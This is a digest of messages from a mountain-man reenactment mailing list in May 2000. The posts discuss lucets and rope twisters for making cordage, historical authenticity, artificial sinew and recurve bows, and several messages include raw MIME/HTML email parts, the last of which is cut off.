On Wed, 10 May 2000 00:34:23 -0700, [e-mail] wrote:

>as I would say its a wonderment---just a pure wonderment---and I figured
>out how to start it and make it work---wish there was a like tool to make
>round cordage and weave it the same way---
>
>anyone know if there is a tool like the Lussette (SP) tool that will
>brade round cordage---

    Lucets have been around since Renaissance times.  It is one of the
period "needlecrafts" I demonstrate at Voos and living history events.  The
cordage can be made as thin as sewing thread for chemise drawstrings or
thick as ship cable using hemp.  I even made a halter for a horse using thin
strips of left over brain tan.
     There IS a gizmo that makes a round cord, rather like a lucet.  It is
called a "corker".  It looks like an oversized spool made out of hard wood with
4 wooden pegs in the top.  You make a "knitted" cord by wrapping and
looping the thread over the pegs.  My research has found them in Colonial
American womens craft supplies.
     I bet many of you saw a homemade version as a kid.  When I was in
Girl Scouts we made "knitting spools" out of old wooden  thread spools and
finishing nails.
    Both lucets and corkers can be made in differing sizes and that
effects the thickness of the cordage you make.  I have lucets less than 3
inches tall that make very fine drawstrings using silk thread.  The one I demo
with is about 9 inch tall and uses crochet weight cotton or wool.
    Both are relatively easy to make, I bought my first lucet 25 years ago
and have made all the ones since.  The corker is also possible to make
yourself with a drill press and a pocket knife for a solid wood one or wood
and metal if you use a spool and nails.
    Any one interested in finding out more info can get ahold of me by
e-mail, so I don't clutter up the list.

Sue Gilbert
6 Beaver Camp
[e-mail]


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From: [e-mail]
Subject: Re: MtMan-List: Lucet
Date: 10 May 2000 10:08:07 -0700

d>
drop me a note offline and let me know what the websites are that you
found---I dont have ready access to the internet so must have the addres
then go to a machine that lets me get on the web
HAWK
Michael Pierce        "Home of ".Old Grizz" Product line "  trademark (C)
854 Glenfield Dr.
Palm Harbor florida 34684
E-Mail: [e-mail]   Web site:
http://www.angelfire.com/fl2/mpierce

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From: [e-mail]
Subject: MtMan-List: Re: MtMan-List cordage
Date: 10 May 2000 09:45:45 -0700

D
yepper the thing looks like a slingshot with pointed tips on it---they
need to be made from hardwood that is pretty close grain---easy to start
when you do it a couple of times and it brades---real tight square
cordage---it also has a hole in the vee of the tool for the cordage that
you made to go thru---its a pure wonderment how it works and you can sit
around and tlk amd make the cordage---makes it so easy that you dont have
to even think just pull your stitches---and it adds a lot of agility to
your fingers and keeps your mind occupied---a good theoripy tool for
someone that can't do much of anything else---could make some hellatious
cordage out of gut if it was prepared right and would also make a
exceptionally strong bow string---remings me of when we usto make the
square brade bracelets when i was a kid-except tighter weave--i need to
find out how to properly spell the name of this tool---also have a wooden
rope twister that i play with---get the hemp binder twine and it makes
darn good ropes for use around camp---been playing with that kind of junk
the last couple of months--

saw a cast iron rope twister a couple of years ago and decided you could
duplicate it out of wood---easy as hell to make and would truly be period
correct in making period rope---just need 3 hooks to hold the cordage
thay you are twisting---I use commercial screw eyes and they work
great---you can add one strand of colored cotton thread to the hemp to
make your rope distinktive from someone-elses if you want---I saw the
original one in smithsonian and it was dated in the 1700 time range but
as a field expedient you can make it out of wood instead of metal if you
didnt want to make hundreds of feet of twisted cordage---with the roap
twister you can add as many strands as long as you do it in threes--3 's
fun to play with---am in the process of trying to figure out how to make
twisted cordage from a odd number of lines like 5 and see how that will
work---three or multipals of three is all I have done well with so
far----

maby one of the ladies on the list can give us some more info on the
luzzette  thing ---can you brade more than just the square stuff would
like to be able to brade round rope but havent figured that out yet---am
sure there must be a simple tool that you could do that with also---the
same tool may work just may have to thread it different---


angelia ---you got any info on this------again just having fun and
keeping my hands busy while sitteing around---seems i always have to be
busy---

YMHOSANT

HAWK
Michael Pierce        "Home of ".Old Grizz" Product line "  trademark (C)
854 Glenfield Dr.
Palm Harbor florida 34684
E-Mail: [e-mail]   Web site:
http://www.angelfire.com/fl2/mpierce

On Wed, 10 May 2000 07:40:45 -0400 "D Miles" <[e-mail]>
writes:
> Hawk,
>  Is that "Lucette" thing look like a thick slingshot, sorta? I think
> I have
> seen those in a catalog somewhere, in with the spinning supplies..
> I will have to look before I go out to the shop.. Cordage, eh? That
> IS a
> pure wonderment....And square to booot.. Would be fun to bring that
> square
> stuff to a doins and show the Brothers somthing queersome..<G>
> D
>
> PS.. It does my heart good to know I can still ruffle feathers good,
> when I
> am a mind to..<BG> And the invitation still goes, I would like to
> get on the
> ground with any one of ya's. ('Cept mebby Pendleton)
> D

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From: "Chance Tiffie" <[e-mail]>
Subject: MtMan-List: Un-shod Horses.
Date: 10 May 2000 07:32:41 PDT


Bluelodge,
Seems to me there are many accounts of horseshoes, and the equipment needed
to set them, going to the Rockies.  So much for un-shod horses.
Funny thing about research, it made me quit using artificial sinew, but I
get to shoe my mules.


Cliff Tiffie
PO Box 5089
Durant, OK
74702
580-924-4187
---------------------
Aux Aliments de Pays!

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From: [e-mail]
Subject: Re: MtMan-List:was saw now its cordage
Date: 10 May 2000 10:34:28 EDT

[e-mail] writes:

>  Is that "Lucette" thing look like a thick slingshot, sorta? I think I have
>  seen those in a catalog somewhere, in with the spinning supplies..

They are carried by Smoke and Fire: http://www.smoke-fire.com.  Now that you
guys have been talking about them, I got mine out, but can't remember how to
make it work.

Ghosting Wolf

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From: [e-mail]
Subject: Re: MtMan-List: Re: MtMan-List cordage
Date: 10 May 2000 10:48:32 EDT

[e-mail] writes:

> saw a cast iron rope twister a couple of years ago and decided you could
>  duplicate it out of wood>>

Hawk,

I remember we had something like this at boy scout camporees about 40 years
ago. We would make rope out of binder twine. Can't remember all the details
though. I think that a number of us would be interested in how you made yours
and how it works. Thanks.

YMOS
Ghosting Wolf

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From: "Ole B. Jensen" <[e-mail]>
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 10 May 2000 09:04:57 -0600

Michael,
Thanks!
there are many things that interest me and I follow my own mind. I hope that
I know the diference between an AMM camp and a park and drop. I will take
diferent things to these camps and it is no reflection on the AMM. I have
seen AMM brothers get so totaly wasted at camp that they pass out in the
dirt and that is no reflection on the orginization just a brother with a
problem. However when I represent the AMM and the things we value I strive
to hold my self to the highest standards but I do it to teach and to be an
example to those who wish to learn and always try to remember that I am no
better then they are just down the trail a litle further.
YMOS
Ole
----------
>From: [e-mail]
>To: [e-mail]
>Subject: Re: MtMan-List: Re: Authenticity Nazis
>Date: Wed, May 10, 2000, 2:24 AM
>

>ole---
>well put---remember this is a brotherhood here to help each other---NUFF
>SAID---CUT the BS---I have been slapped by the period pirots before and
>then went back with my documentation and proved them wrong---done my
>homework and was 5% smarter---lets get off of this subject all of us know
>its a tender one---we aint judgeing brothers---if a brother done wrong he
>is told politely and on a one to one basis---each has helped in that
>scenario before---I have even went and loaned stuff to a guy to help him
>be period correct if i could help him---
>
>lets shake hands and close this one out guys---
>
>YMHOSANT
>   =+=
>HAWK
>Michael Pierce        "Home of ".Old Grizz" Product line "  trademark (C)
>854 Glenfield Dr.
>Palm Harbor florida 34684
>E-Mail: [e-mail]   Web site:
>http://www.angelfire.com/fl2/mpierce
>
>________________________________________________________________
>YOU'RE PAYING TOO MUCH FOR THE INTERNET!
>Juno now offers FREE Internet Access!
>Try it today - there's no risk!  For your FREE software, visit:
>http://dl.www.juno.com/get/tagj.
>
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From: "Larry Huber" <[e-mail]>
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 10 May 2000 08:38:12 -0700

All these "repairs" you mentioned are ones that would be made in the
"settlements".  By today's or yesterday's standards, the settlements would
use the current practice of their day.  But outside of the settlements, in
the wild, (no cell phone or medivac, now), we're looking at pulling teeth(if
you can't wait), going without antibiotics(found herbs and animal grease),
setting bones as best "field repairs" will allow, and dying if you need
major surgery.  Without trained medical personnel or modern chemical
laboratories, the man alone has only what's available in nature and the
wisdom of his own experience.  Those who have the knowledge to use those
assets may survive to reach the settlements and additional assets.  Natural
selection will take care of the rest.
----- Original Message -----
Cc: Roger Lahti <[e-mail]>
Sent: Tuesday, May 09, 2000 5:04 PM


>
> --- larry pendleton <[e-mail]> wrote:
> > You Go Bro. !
> > What really chaps me is to see leather clothing, sewn with artificial
> > sinew,
> > with the 3M glue showing around the seams.  Where do these guys get
> > off
> > bringing crap like that to a doins ?
> > LP
> Greetings list.  I hope the above comment was tongue in cheek/ a joke.
> How many of us Really think we are doing it 100% Period Correct?
> If so answer the following questions.
>  Any fillings in your teeth?   have then pulled sans pain killer.
> Ever taken antibiotics?   the infection probably killed you.
> Any major surgery?   Your still losing....
> Any broken bones?   They probably set wrong and you're a cripple.
> Tim
>
> __________________________________________________
> Do You Yahoo!?
> Send instant messages & get email alerts with Yahoo! Messenger.
> http://im.yahoo.com/
>
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From:    "John Hunt" <[e-mail]>
Subject: Re: MtMan-List:was saw now its cordage
Date: 10 May 2000 11:57:27 -0400

Dennis, that paddle is used to propel your canoe, not stir up s--t.

To those who don`t know Dennis, his camp is just as he talks, extremely
correct. He has what  it takes to make a comfortable camp for his wife and
himself. You must remember everyone's level of comfort is different.

Dennis also has the skills, ability, and knowledge to make do with whats at
hand.


>
> PS.. It does my heart good to know I can still ruffle feathers good, when
I
> am a mind to..<BG> And the invitation still goes, I would like to get on
the
> ground with any one of ya's. ('Cept mebby Pendleton)
> D
>
>
>
>
>
> "Abair ach beagan is abair gu math e"
>           DOUBLE EDGE FORGE
>   Period Knives & Iron Accoutrements
>    http://www.bright.net/~deforge1
>   "Knowing how is just the beginning"
>
>
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>
>


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From: "Roger Lahti" <[e-mail]>
Subject: Re: MtMan-List: Re: MtMan-List cordage
Date: 10 May 2000 09:57:31 -0700

Hawk,

Not an expert on cordage by any means but I assure you that you can make
you're rope twister idea work with any number of strands up to the point it
is just not practical anymore. They work on the same principle as does
rolling cordage on your thigh, which is easiest to do with two strands but
can be done with three or more if you can control them. A buddy of mine in
Albany has made quit a bit of nice rope using a rope twister ( rope walk in
olden days) and I have made one from Cloths hanger wire and some flat wood.
Made up a nice length of "cod" line a couple years ago for a trotline from
the linen thread John Kramer was talking about. Made up in multiple strands
it is quit strong and would make a fine bow string too I'm sure.

Fine little article there JOHN, and one that I will keep and pass on to my
Brothers if I may. I remain.....

Your friend and,
YMOS
Capt. Lahti'



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From: "Walt Foster" <[e-mail]>
Subject: Re: MtMan-List: camp doings
Date: 10 May 2000 11:00:32 -0600

Hello around the campfire,

Hi everybody.  Looks like lots of good conversations going on.  I have been
busy putting together the Clark Bottom Rendezvous for this year.  This is a
Quiet Camp.  Our dates for this year fall on the actual dates Captain Clark
was here in camp on the Yellowstone River in what is now called Montana.
CBR operates from July 19-24, 2000.  I have only 25 camp permits left.  They
are $25.  From CBR you can go directly to the Red Lodge Mountain Man
Rendezvous which is going full bore again this year.  The date for the Red
Lodge Mountain Man Rendezvous is July 28 - Aug 6, 2000.  The ML range is
open and they have added archery to their current events.  You can get more
information about the Red Lodge Mountain Man Rendezvous by  contacting
[e-mail] according to the information they sent me.

With this reintroduction I am glad to be back among like minded folks and
hope to pick up on the threads as they go by.  I have been following along
seeing items of interest that are rolling around the campfire and think I
will join in again in the over all conversations going around.  Here is to
you and your from me and mine.  And a shout and from the mountains I see
shinning nearby.  Top of the world to you all.
Walt
Park City, Montana


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From: "Walt Foster" <[e-mail]>
Subject: Re: MtMan-List: Artificial Sinew (was saws)
Date: 10 May 2000 11:02:42 -0600

This is a multi-part message in MIME format.

------=_NextPart_000_002F_01BFBA6F.43408020
Content-Type: text/plain;
    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable


  ----- Original Message -----=20
  From: Bill Cunningham=20
  To: [e-mail]=20
  Sent: Tuesday, May 09, 2000 4:27 PM
  Subject: Re: MtMan-List: Artificial Sinew (was saws)


  Absolutely! I used to practice going out with just a flinter or a bow =
and arrows, my knife, fire makings, a wool blanket and the clothes on my =
back. In a few days you learn that it is very possible to get along with =
the bare necessities. You also learn to appreciate some that aren't - =
such as a good waterproof tarp, a pot and a frying pan. It was on a =
couple of these trips that I even came up with the idea of a small tent =
I could also use as a pack. Made it and carried it for years. Now age is =
creeping up on me and I have had to learn to be a bit more cautious. I =
carry a first aid kit and often ride a horse.
  But speaking of recurves, weren't they around long before the fur =
period? Seems to me I saw one in the museum at Betatakin. I know they =
existed in Eurasia, but it seems to me that some of the south western =
Indians had them also. The one I saw wasn't extreme like the horse bows =
of the Steppes, but was definitely a self-bow recurve.
    -----Original Message-----
    From: Mike Moore <[e-mail]>
    To: [e-mail] <[e-mail]>
    Date: Tuesday, May 09, 2000 3:43 PM
    Subject: Re: MtMan-List: Artificial Sinew (was saws)


    Bill,=20
        I, like Roger, see how we could (and can) justify carrying =
artifical sinew. I just feel=20
    that under regular "survival" situations all I would have to use for =
building a shelter, making=20
    a tripod or any putting together any  number of  things are sinew, =
rawhide, cordage (of various kinds) or leather. So by trying these and =
seeing what works and what doesn't, wouldn't that be the best for us =
when called upon to have to use it? I hear alot about "survival" gear. =
And to me, alot of these items just don't fit in the catagory. Most are =
well made, durable items that can be the best you can buy (wheather it =
is a kind of Moc, or what is best for sewing stuff up with), but to me =
(and this is only  my opinion) why not tie both worlds together and have =
authenic equipement that is durable, comfortable and replaceable?=20
    Like alot of you guys, I am a A.M.M. member. and alot of people have =
choosen sides in=20
    the authenic/ survival debate. I just say why not be both? Make you =
and your equipment the=20
    best they can be. And know how to do the things necessary to =
survive, maybe even be=20
    comfortable. I have friends who have Dyer mocs and they love them. =
But if I ever had to replace them while in the mountains (it can happen: =
a horse or mule scatters everything for a mile or too, you loose one of =
them fording a river or maybe a hungry coyote comes in camp and steals =
them) I would have to use leather and sinew (or wangs) to make a new =
pair.=20
    Every man has their own opinion on this subject- it is kind of like =
the recurve versus stick bow, we won't mention the new fangled wheel =
bows. And different guys like different things=20
    at different times. But ,doesn't this make a good subject to hammer =
out and make people=20
    think????=20
                                                                         =
   mike.=20
    people.=20
    Bill Cunningham wrote:=20
      I was watching that antiques roadshow program one time and a guy =
brought in an Indian arrow quiver. It really looked nice and he was sure =
he had a pot of money. But the antique guy showed him that it was =
factory tanned leather, sewed with artificial sinew, which he explained =
was a hi-tech modern product. You could see the guy just wither. But it =
brought to mind a couple of questions. In true survival situations, =
would you be able to obtain enough sinew to take care of whatever it =
might be that you'd need it for? Since sinew is typically 12" long or =
less, and splicing it is tricky at best, would you carry 15 feet or so =
in your possibles pouch, or rather, perhaps, a small coil of artificial =
sinew which is infinitely long? Historical authenticity is great and a =
fine goal, but what if your life (or in some cases, your budget) =
depended on it?Bill C=20
        -----Original Message-----=20
        From: D Miles <[e-mail]>=20
        To: [e-mail] <[e-mail]>=20
        Date: Tuesday, May 09, 2000 7:32 AM=20
        Subject: MtMan-List: Artificial Sinew (was saws)=20
         Boy, I am on a roll now... I also see way to many sutlers out =
there that sell FANTASTIC authentic, documented items in various =
forms.All high quality.... But for some reason, allot of them also list =
"artificial sinew" on their trade lists.....GO figger...D  "Abair ach =
beagan is abair gu math e"=20
                  DOUBLE EDGE FORGE=20
          Period Knives & Iron Accoutrements=20
           http://www.bright.net/~deforge1=20
          "Knowing how is just the beginning"

------=_NextPart_000_002F_01BFBA6F.43408020
Content-Type: text/html;
    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type><!doctype html public "-//w3c//dtd html 4.0 =
transitional//en">
<META content=3D"MSHTML 5.00.3013.2600" name=3DGENERATOR></HEAD>
<BODY bgColor=3D#ffffff>
<DIV> </DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A href=3D"mailto:[e-mail]" =
title=[e-mail]>Bill=20
  Cunningham</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
  href=3D"mailto:[e-mail]"=20
  title=[e-mail]>[e-mail]</A> =
</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Tuesday, May 09, 2000 =
4:27 PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Re: MtMan-List: =
Artificial Sinew=20
  (was saws)</DIV>
  <DIV><BR></DIV>
  <DIV><FONT color=3D#000000 size=3D2>Absolutely! I used to practice =
going out with=20
  just a flinter or a bow and arrows, my knife, fire makings, a wool =
blanket and=20
  the clothes on my back. In a few days you learn that it is very =
possible to=20
  get along with the bare necessities. You also learn to appreciate some =
that=20
  aren't - such as a good waterproof tarp, a pot and a frying pan. It =
was on a=20
  couple of these trips that I even came up with the idea of a small =
tent I=20
  could also use as a pack. Made it and carried it for years. Now age is =

  creeping up on me and I have had to learn to be a bit more cautious. I =
carry a=20
  first aid kit and often ride a horse.</FONT></DIV>
  <DIV><FONT color=3D#000000 size=3D2></FONT><FONT size=3D2>But speaking =
of recurves,=20
  weren't they around long before the fur period? Seems to me I saw one =
in the=20
  museum at Betatakin. I know they existed in Eurasia, but it seems to =
me that=20
  some of the south western Indians had them also. The one I saw wasn't =
extreme=20
  like the horse bows of the Steppes, but was definitely a self-bow=20
  recurve.</FONT></DIV>
  <BLOCKQUOTE=20
  style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; =
PADDING-LEFT: 5px">
    <DIV><FONT face=3DArial size=3D2><B>-----Original =
Message-----</B><BR><B>From:=20
    </B>Mike Moore <<A=20
    =
href=3D"mailto:[e-mail]">[e-mail]</A>><BR><B=
>To:=20
    </B><A=20
    =
href=3D"mailto:[e-mail]">[e-mail]=
</A>=20
    <<A=20
    =
href=3D"mailto:[e-mail]">[e-mail]=
</A>><BR><B>Date:=20
    </B>Tuesday, May 09, 2000 3:43 PM<BR><B>Subject: </B>Re: MtMan-List: =

    Artificial Sinew (was saws)<BR><BR></DIV></FONT>Bill, =
<BR>   =20
    I, like Roger, see how we could (and can) justify carrying artifical =
sinew.=20
    I just feel <BR>that under regular "survival" situations all I would =
have to=20
    use for building a shelter, making <BR>a tripod or any putting =
together=20
    any  number of  things are sinew, rawhide, cordage (of =
various=20
    kinds) or leather. So by trying these and seeing what works and what =

    doesn't, wouldn't that be the best for us when called upon to have =
to use=20
    it? I hear alot about "survival" gear. And to me, alot of these =
items just=20
    don't fit in the catagory. Most are well made, durable items that =
can be the=20
    best you can buy (wheather it is a kind of Moc, or what is best for =
sewing=20
    stuff up with), but to me (and this is only  my opinion) why =
not tie=20
    both worlds together and have authenic equipement that is durable,=20
    comfortable and replaceable? <BR>Like alot of you guys, I am a =
A.M.M.=20
    member. and alot of people have choosen sides in <BR>the authenic/ =
survival=20
    debate. I just say why not be both? Make you and your equipment the =
<BR>best=20
    they can be. And know how to do the things necessary to survive, =
maybe even=20
    be <BR>comfortable. I have friends who have Dyer mocs and they love =
them.=20
    But if I ever had to replace them while in the mountains (it can =
happen: a=20
    horse or mule scatters everything for a mile or too, you loose one =
of them=20
    fording a river or maybe a hungry coyote comes in camp and steals =
them) I=20
    would have to use leather and sinew (or wangs) to make a new pair. =
<BR>Every=20
    man has their own opinion on this subject- it is kind of like the =
recurve=20
    versus stick bow, we won't mention the new fangled wheel bows. And =
different=20
    guys like different things <BR>at different times. But ,doesn't this =
make a=20
    good subject to hammer out and make people <BR>think????=20
    =
<BR>           &nb=
sp;           &nbs=
p;            =
;            =
            &=
nbsp;          =20
    mike. <BR>people. <BR>Bill Cunningham wrote:=20
    <BLOCKQUOTE TYPE=3D"CITE">
      <STYLE></STYLE>
      <FONT color=3D#000000><FONT size=3D-1>I was watching that antiques =
roadshow=20
      program one time and a guy brought in an Indian arrow quiver. It =
really=20
      looked nice and he was sure he had a pot of money. But the antique =
guy=20
      showed him that it was factory tanned leather, sewed with =
artificial=20
      sinew, which he explained was a hi-tech modern product. You could =
see the=20
      guy just wither. But it brought to mind a couple of questions. In =
true=20
      survival situations, would you be able to obtain enough sinew to =
take care=20
      of whatever it might be that you'd need it for? Since sinew is =
typically=20
      12" long or less, and splicing it is tricky at best, would you =
carry 15=20
      feet or so in your possibles pouch, or rather, perhaps, a small =
coil of=20
      artificial sinew which is infinitely long? Historical authenticity =
is=20
      great and a fine goal, but what if your life (or in some cases, =
your=20
      budget) depended on it?</FONT></FONT><FONT size=3D-1>Bill C</FONT> =

      <BLOCKQUOTE=20
      style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; =
PADDING-LEFT: 5px"><B><FONT=20
        face=3DArial><FONT size=3D-1>-----Original =
Message-----</FONT></FONT></B>=20
        <BR><FONT face=3DArial><FONT size=3D-1><B>From: </B>D Miles =
<<A=20
        =
href=3D"mailto:[e-mail]">[e-mail]</A>></FONT></F=
ONT>=20
        <BR><FONT face=3DArial><FONT size=3D-1><B>To: </B><A=20
        =
href=3D"mailto:[e-mail]">[e-mail]=
</A>=20
        <<A=20
        =
href=3D"mailto:[e-mail]">[e-mail]=
</A>></FONT></FONT>=20
        <BR><FONT face=3DArial><FONT size=3D-1><B>Date: </B>Tuesday, May =
09, 2000=20
        7:32 AM</FONT></FONT> <BR><FONT face=3DArial><FONT =
size=3D-1><B>Subject:=20
        </B>MtMan-List: Artificial Sinew (was saws)</FONT></FONT>=20
        <BR> <FONT face=3DArial><FONT size=3D-1>Boy, I am on a roll =

        now...</FONT></FONT><FONT face=3DArial><FONT size=3D-1> I =
also see way=20
        to many sutlers out there that sell FANTASTIC authentic, =
documented=20
        items in various forms.All high quality.... But for some reason, =
allot=20
        of them also list "artificial sinew" on their trade lists.....GO =

        figger...</FONT></FONT><FONT face=3DArial><FONT=20
        size=3D-1>D</FONT></FONT>  <FONT face=3DArial><FONT =
size=3D-1>"Abair=20
        ach beagan is abair gu math e"</FONT></FONT> <BR><FONT =
face=3DArial><FONT=20
        size=3D-1>          =
DOUBLE=20
        EDGE FORGE</FONT></FONT> <BR><FONT face=3DArial><FONT =
size=3D-1> =20
        Period Knives & Iron Accoutrements</FONT></FONT> <BR><FONT=20
        face=3DArial><FONT size=3D-1>   <A=20
        =
href=3D"http://www.bright.net/~deforge1">http://www.bright.net/~deforge1<=
/A></FONT></FONT>=20
        <BR><FONT face=3DArial><FONT size=3D-1>  "Knowing how is =
just the=20
        =
beginning"</FONT></FONT></BLOCKQUOTE></BLOCKQUOTE></BLOCKQUOTE></BLOCKQUO=
TE></BODY></HTML>

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-------------------------------------------------------------------------------

From: "Walt Foster" <[e-mail]>
Subject: Re: MtMan-List: Artificial Sinew (was saws)
Date: 10 May 2000 11:18:03 -0600

This is a multi-part message in MIME format.

------=_NextPart_000_0045_01BFBA71.68A9EA20
Content-Type: text/plain;
    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

  Hi Bill,=20
  Recurves predate the fur period all across north america.  Jim Bridger =
packed 2 arrowheads for a while.  Mountain men faced bows and arrows on =
a regular basis.  I have seen scattered documentation regarding some use =
by mountain men.  But there were so many mountain men out here and so =
little recorded history about them.  I see archery appearing again and =
again on different theads.  I think this is a segment of mountain man =
history where it was made.  From the MLML list I can see that I could =
compete against ML in a mountain man situation on equal footing with the =
bows and arrows I make then and now.  Maybe this subject will come up on =
a thread.  I have been enjoying your posts.  I am glad to see a good =
hand like you on the list, camped around this fire.
  Walt


    ----- Original Message -----=20
    From: Bill Cunningham=20
    To: [e-mail]=20
    Sent: Tuesday, May 09, 2000 4:27 PM
    Subject: Re: MtMan-List: Artificial Sinew (was saws)


    But speaking of recurves, weren't they around long before the fur =
period? Seems to me I saw one in the museum at Betatakin. I know they =
existed in Eurasia, but it seems to me that some of the south western =
Indians had them also. The one I saw wasn't extreme like the horse bows =
of the Steppes, but was definitely a self-bow recurve.
      -----Original Message-----
      From: Mike Moore <[e-mail]>
      To: [e-mail] <[e-mail]>
      Date: Tuesday, May 09, 2000 3:43 PM
      Subject: Re: MtMan-List: Artificial Sinew (was saws)


      Bill,=20
          I, like Roger, see how we could (and can) justify carrying =
artifical sinew. I just feel=20
      that under regular "survival" situations all I would have to use =
for building a shelter, making=20
      a tripod or any putting together any  number of  things are sinew, =
rawhide, cordage (of various kinds) or leather. So by trying these and =
seeing what works and what doesn't, wouldn't that be the best for us =
when called upon to have to use it? I hear alot about "survival" gear. =
And to me, alot of these items just don't fit in the catagory. Most are =
well made, durable items that can be the best you can buy (wheather it =
is a kind of Moc, or what is best for sewing stuff up with), but to me =
(and this is only  my opinion) why not tie both worlds together and have =
authenic equipement that is durable, comfortable and replaceable?=20
      Like alot of you guys, I am a A.M.M. member. and alot of people =
have choosen sides in=20
      the authenic/ survival debate. I just say why not be both? Make =
you and your equipment the=20
      best they can be. And know how to do the things necessary to =
survive, maybe even be=20
      comfortable. I have friends who have Dyer mocs and they love them. =
But if I ever had to replace them while in the mountains (it can happen: =
a horse or mule scatters everything for a mile or too, you loose one of =
them fording a river or maybe a hungry coyote comes in camp and steals =
them) I would have to use leather and sinew (or wangs) to make a new =
pair.=20
      Every man has their own opinion on this subject- it is kind of =
like the recurve versus stick bow, we won't mention the new fangled =
wheel bows. And different guys like different things=20
      at different times. But ,doesn't this make a good subject to =
hammer out and make people=20
      think????=20
                                                                         =
     mike.=20
      people.=20
      Bill Cunningham wrote:=20
        I was watching that antiques roadshow program one time and a guy =
brought in an Indian arrow quiver. It really looked nice and he was sure =
he had a pot of money. But the antique guy showed him that it was =
factory tanned leather, sewed with artificial sinew, which he explained =
was a hi-tech modern product. You could see the guy just wither. But it =
brought to mind a couple of questions. In true survival situations, =
would you be able to obtain enough sinew to take care of whatever it =
might be that you'd need it for? Since sinew is typically 12" long or =
less, and splicing it is tricky at best, would you carry 15 feet or so =
in your possibles pouch, or rather, perhaps, a small coil of artificial =
sinew which is infinitely long? Historical authenticity is great and a =
fine goal, but what if your life (or in some cases, your budget) =
depended on it?Bill C=20
          -----Original Message-----=20
          From: D Miles <[e-mail]>=20
          To: [e-mail] =
<[e-mail]>=20
          Date: Tuesday, May 09, 2000 7:32 AM=20
          Subject: MtMan-List: Artificial Sinew (was saws)=20
           Boy, I am on a roll now... I also see way to many sutlers out =
there that sell FANTASTIC authentic, documented items in various =
forms.All high quality.... But for some reason, allot of them also list =
"artificial sinew" on their trade lists.....GO figger...D  "Abair ach =
beagan is abair gu math e"=20
                    DOUBLE EDGE FORGE=20
            Period Knives & Iron Accoutrements=20
             http://www.bright.net/~deforge1=20
            "Knowing how is just the beginning"

------=_NextPart_000_0045_01BFBA71.68A9EA20
Content-Type: text/html;
    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type><!doctype html public "-//w3c//dtd html 4.0 =
transitional//en">
<META content=3D"MSHTML 5.00.3013.2600" name=3DGENERATOR></HEAD>
<BODY bgColor=3D#ffffff>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV><FONT face=3DArial size=3D2>Hi Bill, </FONT></DIV>
  <DIV><FONT face=3DArial size=3D2>Recurves predate the fur period all =
across north=20
  america.  Jim Bridger packed 2 arrowheads for a while.  =
Mountain men=20
  faced bows and arrows on a regular basis.  I have seen scattered=20
  documentation regarding some use by mountain men.  But there were =
so many=20
  mountain men out here and so little recorded history about them.  =
I see=20
  archery appearing again and again on different theads.  I think =
this is a=20
  segment of mountain man history where it was made.  From the MLML =
list I=20
  can see that I could compete against ML in a mountain man situation on =
equal=20
  footing with the bows and arrows I make then and now.  Maybe this =
subject=20
  will come up on a thread.  I have been enjoying your posts.  =
I am=20
  glad to see a good hand like you on the list, camped around this=20
  fire.</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2>Walt</FONT></DIV>
  <DIV> </DIV>
  <DIV> </DIV>
  <BLOCKQUOTE=20
  style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; =
MARGIN-RIGHT: 0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
    <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
    <DIV=20
    style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
    <A href=3D"mailto:[e-mail]" =
title=[e-mail]>Bill=20
    Cunningham</A> </DIV>
    <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
    href=3D"mailto:[e-mail]"=20
    =
title=[e-mail]>[e-mail]</A> =
</DIV>
    <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Tuesday, May 09, 2000 =
4:27=20
    PM</DIV>
    <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Re: MtMan-List: =
Artificial=20
    Sinew (was saws)</DIV>
    <DIV><BR></DIV>
    <DIV><FONT color=3D#000000 size=3D2></FONT><FONT size=3D2>But =
speaking of=20
    recurves, weren't they around long before the fur period? Seems to =
me I saw=20
    one in the museum at Betatakin. I know they existed in Eurasia, but =
it seems=20
    to me that some of the south western Indians had them also. The one =
I saw=20
    wasn't extreme like the horse bows of the Steppes, but was =
definitely a=20
    self-bow recurve.</FONT></DIV>
    <BLOCKQUOTE=20
    style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; =
PADDING-LEFT: 5px">
      <DIV><FONT face=3DArial size=3D2><B>-----Original =
Message-----</B><BR><B>From:=20
      </B>Mike Moore <<A=20
      =
href=3D"mailto:[e-mail]">[e-mail]</A>><BR><B=
>To:=20
      </B><A=20
      =
href=3D"mailto:[e-mail]">[e-mail]=
